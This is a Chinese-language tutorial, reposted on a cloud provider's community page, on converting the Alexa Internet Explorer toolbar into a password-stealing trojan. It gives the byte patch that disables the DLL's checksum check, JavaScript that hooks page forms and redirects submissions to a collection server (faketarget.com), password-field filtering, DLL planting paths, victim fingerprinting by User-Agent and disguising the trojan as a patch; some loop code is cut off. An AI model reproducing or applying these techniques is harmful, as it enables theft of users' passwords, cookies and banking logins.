把Alexa工具條改裝成木馬

來源:互聯網
上載者:User

把Alexa工具條改裝成木馬

From:http://www.neeao.com/blog/article-4118.html

Alexa是一個發布全球網站排名資訊的網站,他的網址是http://www.alexa.com。Alexa通過在用戶端安裝Alexa工具條來收集採樣全球網站的訪問資料,以這些資料為依據對全球網站進行排名,類似於電視收視率的統計。Alexa工具條是一種類似於Google工具條的IE外掛程式,你可以在下面URL中下載:http://download.alexa.com/index.cgi。

一、Alexa工具條的工作原理

Alexa工具條是一種基於BHO和Toolbar Bands技術的一種IE外掛程式。它以DLL檔案的形式存在於系統中,是一種COM組件,IE會在運行時將其載入到自身進程中去,所以一般情況下防火牆是無法禁止該軟體訪問網路的,這就為他的木馬角色提供了先天的便利,而且比本機Sniff軟體收集密碼的優勢是:無論是HTTP還是HTTPS的網站,不管通訊通道是否加密,只要是IE頁面的表單都能收集到。具體原理可以參考《關於Alexa排名作弊的一些解惑》(http: //www.donews.net/tabris17/archive/2004/09/20/104018.aspx)

系統在安裝了Alexa工具條後,會在系統目錄下產生AlxTB1.dll和AlxRes.dll兩個DLL檔案(有些情況下是 AlxTB2.dll,而不是AlxTB1.dll。那是因為Alexa工具條會自動上網更新的原因)。Alexa工具條的主要二進位代碼存在於 AlxTB1.dll檔案中,這個檔案同時也被註冊成多個COM組件,他完成了BHO和Toolbar Bands的COM介面,並將IE的WebBrowser控制項封裝為一個COM組件供AlxRes.dll調用。AlxRes.dll檔案僅包含少量的二進位代碼,大量的代碼是HTML和JavaScript代碼,他們以資源的形式存在於AlxRes.dll檔案中,你可以通過res: //AlxRes.dll/CHTML/about.html這樣的URL來訪問這些資源。也許你會奇怪:又不是做網站,為什麼軟體的代碼會是 JavaScript寫的?這就是Alexa工具條垃圾的地方。Alexa工具條的主介面是由HTML+JAVASCRIPT實現的。這些 JAVASCRIPT代碼通過調用AlxTB1.dll實現的COM介面來實現軟體的全部功能。這樣做不僅導致軟體的效率低下,而且產生大量的資源泄漏,絕對是一種VERY超級SB的開發模式,但是卻為我們修改Alexa工具條的功能提供了方便——根本不需要CRACKER知識,只要一個PE資源修改工具就可以對Alexa工具條的代碼進行修改了。

二、破解Alexa工具條

當然,Alexa也不是真傻,絕對不會蠢到讓自己的代碼被你用資源修改工具隨便改。為了防止AlxRes.dll中的資源被隨意修改,他採取了計算檔案校正和的保護方法,要是發現檔案被修改,就會拒絕載入。我們在修改代碼前,必須破解這種保護機制。

AlxTB1.dll匯出一個名叫ChecksumResources的函數,這個函數就是用來計算檔案校正和的。用c32asm反組譯碼 AlxRes.dll檔案,查看字串調用列表,找到"ChecksumResources"字串,跳轉到調用該字串的代碼,於100017C0處。往下翻幾行,在100017F6處找到一句跳轉,採用爆破方式,用NOP指令覆蓋JNZ指令即可。通俗點講:就是將AlxRes.dll檔案位移 "0x17F6"處的兩個位元組"75 11"改成"90 90",你可以使用WinHex之類的16進位編輯軟體來修改。

::100017C0:: 68 9C700010 PUSH 1000709C /:BYJMP JmpBy:100017A4,100017B1, /->: ChecksumResources

::100017C5:: 57 PUSH EDI

::100017C6:: FF15 1C500010 CALL [1000501C] >>>: KERNEL32.DLL:GetProcAddress

::100017CC:: 85C0 TEST EAX, EAX

::100017CE:: 74 0E JE SHORT 100017DE /:JMPDOWN

::100017D0:: 8D4D DC LEA ECX, [EBP-24]

::100017D3:: 51 PUSH ECX

::100017D4:: FF35 44740010 PUSH DWORD PTR [10007444]

::100017DA:: FFD0 CALL EAX

::100017DC:: 59 POP ECX

::100017DD:: 59 POP ECX

::100017DE:: 57 PUSH EDI /:BYJMP JmpBy:100017CE,

::100017DF:: FF15 18500010 CALL [10005018] >>>: KERNEL32.DLL:FreeLibrary

::100017E5:: 8D45 B8 LEA EAX, [EBP-48]

::100017E8:: 50 PUSH EAX

::100017E9:: 8D45 DC LEA EAX, [EBP-24]

::100017EC:: 50 PUSH EAX

::100017ED:: E8 AE060000 CALL 10001EA0 /:JMPDOWN

::100017F2:: 59 POP ECX

::100017F3:: 85C0 TEST EAX, EAX

::100017F5:: 59 POP ECX

::100017F6:: 75 11 JNZ SHORT 10001809 /:JMPDOWN ;就是修改這裡

 現在我們可以毫無顧忌的修改AlxRes.dll中的資源了。可以參考《新版本的 Alexa Toolbar 破解方法》(http://www.donews.net/tabris17/archive/2004/10/18/137121.aspx)

三、修改Alexa工具條的代碼

熟悉IE編程的人都知道,DWebBrowserEvents2介面是用來接收WebBrowser的事件通知的,我們可以在AlxRes.dll 的Javascript代碼中找到這些些對應的函數。在res://AlxRes.dll/SCRIPT/EVT.CLASS.JS的代碼中,有一系列的 JAVASCRIPT函數,對應於DWebBrowserEvents2介面的成員,如:DocumentComplete-> BP_onDocumentComplete,NavigateComplete2->BP_onNavigateComplete, BeforeNavigate2->BP_onBeforeNavigate。按照DWebBrowserEvents2介面,我們可以在 BeforeNavigate2中截獲PostData,但是在AlxRes.dll的代碼中,這個介面沒有完全實現。在 DWebBrowserEvents2介面中的原型是:

void BeforeNavigate2(IDispatch *pDisp,

VARIANT *&url,

VARIANT *&Flags,

VARIANT *&TargetFrameName,

VARIANT *&PostData,

VARIANT *&Headers,

VARIANT_BOOL *&Cancel

);

這其中的PostData包含了的Post資料。而BP_onBeforeNavigate的函數原型:

function BP_onBeforeNavigate(oParentWebBrowser2, oWebBrowser2, sURL, bPostData, sHeaders);

其中,bPostData只是個BOOL類型的變數。此路不通,必須另想辦法。

一般來說,我們在IE中輸入的使用者名稱密碼都是通過表單提交到伺服器的,如果能在表單提交前截獲表單的內容就可以實現竊取密碼了。在 JAVASCRIPT中,只要處理表單的"OnSubmit"事件,就可以先於提交而處理表單的內容。而AlxRes.dll的功能也是由 JAVASCRIPT實現的,所以我們就無需面對繁瑣的COM介面,而直接使用JAVASCRIPT了。

這裡我推薦使用Resource Hacker來修改AlexRes.dll中的資源,個人感覺比eXeScope用起來爽多了。

四、截獲網頁表單的內容

我現在使用的方法有些類似於"跨網站指令碼執行漏洞"。先來看看"res://AlxRes.dll/SCRIPT/EVT.CLASS.JS"中的"BP_onDocumentComplete"函數:

function BP_onDocumentComplete(oParentWebBrowser2, oWebBrowser2, sURL);

該函數在IE的當前瀏覽頁面被載入完成時被調用,其中的 oWebBrowser2 參數可以當作當前IE正在瀏覽的頁面的window對象。如果你懂得JAVASCRIPT的話,接下來要做的事情就十分簡單了。添加如下代碼:

function BP_onDocumentComplete(oParentWebBrowser2, oWebBrowser2, sURL) {

... ...

try{

for(i=0;i

{

oWebBrowser2.document.forms[i].onsubmit=test;

}

}catch(e){}

return false;

}

這段代碼的作用就是枚舉當前頁面中所有的表單對象,並為這些表單定義OnSubmit事件。接下來就是完成test函數了:

function test()

{

try{

window.alert("I can get the value!");

for(i=0;i

{

if(this.elements[i].name!="")

{

window.alert(this.elements[i].name+":"+this.elements[i].value);

//do some thing

}

}

}catch(e){}

return true;

}

不過用這種方法存在一點弊端:當表單是通過JavaScript語句"Submit()"提交時,不會產生"OnSubmit"事件,上面的代碼也就無法紀錄下表單的內容了。可以採用改變表單提交地址的方法來解決這個問題:

function BP_onDocumentComplete(oParentWebBrowser2, oWebBrowser2, sURL) {

... ...

try{

for(i=0;i

{

oWebBrowser2.document.forms[i].innerHTML=oWebBrowser2.document.forms[i].innerHTML+"";

oWebBrowser2.document.forms[i].action="http://www.faketarget.com/gather.asp";

}

}catch(e){}

return false;

}

以上的代碼對於某些頁面存在問題,有時會無法將隱藏欄位添加到表單中去。

五、散布和植入木馬

以上代碼均是用PE資源軟體修改AlxRes.dll檔案實現的。所以,只要用新的AlxRes.dll檔案將原來系統的AlxRes.dll替換掉。Alexa工具條在載入的時候會優先在"C:/Program Files/Internet Explorer"和"C:/Documents and Settings/[username]/案頭"這兩個路徑下搜尋AlxRes.dll,所以也可以把修改過的AlxRes.dll放到這兩個路徑下,這樣就不用覆蓋源檔案了。至於怎麼安裝,那可是有一大堆的IE漏洞等著你去Exploit呢,這可不是本文涉及的範圍。

安裝了Alexa工具條的IE的"User-Agent"會加入"Alexa Toolbar"的標記,所以很容易區分目標的IE是否已經安裝了Alexa工具條:

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toobar)

也可以修改Alexa的安裝檔案,或者以Alexa補丁的名義來發布,這個就扯遠了。

六、收集密碼

你可以用FileSystemObject控制項來將表單內容紀錄到檔案,或者直接作為參數發送到某個Web伺服器,由web伺服器收集紀錄下來即可。為了在用戶端過濾一些不包含密碼的表單,最好在AlxRes.dll的代碼中對收集的表單資料進行一些檢查:

function test()

{

var IsPwdForm=false;

var FormStr;

try{

for(i=0;i

{

if(this.elements[i].name!="")

{

if(this.elements[i].type=="password")

IsPwdForm=true;

FormStr=FormStr+this.elements[i].name+"="+this.elements[i].value+"&";

}

}

if(IsPwdForm)

{

//表單包含密碼文本,進行收集

}

}catch(e){}

return true;

}

七、其他的應用

大多數的網上銀行登陸介面是由ActiveX控制項實現的,無法截獲表單資料,但是我們可以通過"oWebBrowser2"對象來操縱、修改瀏覽的頁面,當然也可以偽造一個網上銀行的登陸介面。還可以用來收集使用者瀏覽網頁的紀錄,也可以用來竊取使用者COOKIE等。

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.